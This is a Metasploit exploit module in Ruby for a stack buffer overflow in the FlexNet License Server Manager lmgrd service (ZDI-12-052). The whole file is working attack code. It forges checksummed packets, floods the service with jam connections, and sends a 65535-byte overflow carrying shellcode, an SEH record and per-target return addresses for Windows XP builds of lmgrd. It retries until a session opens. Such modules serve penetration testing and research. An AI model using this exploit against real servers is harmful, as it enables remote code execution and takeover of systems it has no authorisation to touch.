FlexNet License Server Manager – lmgrd Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'FlexNet License Server Manager lmgrd Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in the FlexNet License Server Manager. The vulnerability is due to the insecure usage of memcpy in the lmgrd service when handling network packets, which results in a stack buffer overflow. In order to improve reliability, this module will make lots of connections to lmgrd during each attempt to maximize its success. }, 'Author' => [ 'Luigi Auriemma', # Vulnerability Discovery and PoC 'Alexander Gavrun', # Vulnerability Discovery 'juan vazquez', # Metasploit module 'sinn3r' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '81899' ], [ 'BID', '52718' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-052/' ], [ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 4000 }, 'Platform' => 'win', 'Targets' => [ [ 'Debug', {} ], [ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3', { 'Offset' => 10476, 'ShellcodeOffset' => 5504, 'Ret' => 0x0047d01f # ppr from lmgrd.exe } ], [ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3', { 'Offset' => 7324, 'ShellcodeOffset' => 2332, 'Ret' => 0x004eda91 # ppr from lmgrd.exe } ], [ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3', { 'Offset' => 7320, 'ShellcodeOffset' => 2328, 'Ret' => 0x004eb2e1 # ppr from lmgrd.exe } ], ], 'DefaultTarget' => 1, 'DisclosureDate' => 'Mar 23 2012')) register_options( [ Opt::RPORT(27000), OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]), OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]), OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ]) ], self.class) end def header_checksum(packet) packet_bytes = packet.unpack("C*") checksum = packet_bytes[0] i = 2 while i < 0x14 checksum = checksum + packet_bytes[i] i = i + 1 end return (checksum & 0x0FF) end def data_checksum(packet_data) word_table = "" i = 0 while i < 256 v4 = 0 v3 = i j = 8 while j > 0 if ((v4 ^ v3) & 1) == 1 v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF else v4 = (v4 >> 1) & 0x0FFFF end v3 >>= 1 j = j - 1 end word_table << [v4].pack("S") i = i + 1 end k = 0 checksum = 0 data_bytes = packet_data.unpack("C*") word_table_words = word_table.unpack("S*") while k < packet_data.length position = data_bytes[k] ^ (checksum & 0x0FF) checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF k = k + 1 end return checksum end def create_packet(data) pkt = "\x2f" pkt << "\x00" # header checksum pkt << "\x00\x00" # data checksum pkt << "\x00\x00" # pkt length pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" pkt << data pkt[4,2] = [pkt.length].pack("n") data_sum = data_checksum(pkt[4, pkt.length - 4]) pkt[2, 2] = [data_sum].pack("n") hdr_sum = header_checksum(pkt[0, 20]) pkt[1] = [hdr_sum].pack("C") return pkt end def jam pkt = create_packet("") datastore['Jam'].times do connect sock.put(pkt) disconnect end end def exploit i = 1 while i <= datastore['Attempts'] and not session_created? print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...") do_exploit sleep(datastore['Wait']) i = i + 1 end if not session_created? print_error("Exploit didn't work after #{i} attempts") end end def do_exploit t = framework.threads.spawn("jam", false) { jam } my_payload = payload.encoded header_length = 20 # See create_packet() to understand this number pkt_data = "" if target.name =~ /Debug/ pkt_data << "a" * (65535 - header_length) else pkt_data << "a" * target['ShellcodeOffset'] pkt_data << my_payload pkt_data << rand_text(target['Offset']-target['ShellcodeOffset']-my_payload.length) pkt_data << generate_seh_record(target.ret) pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string pkt_data << rand_text(65535 - pkt_data.length - header_length) end pkt = create_packet(pkt_data) connect sock.put(pkt) handler disconnect end end |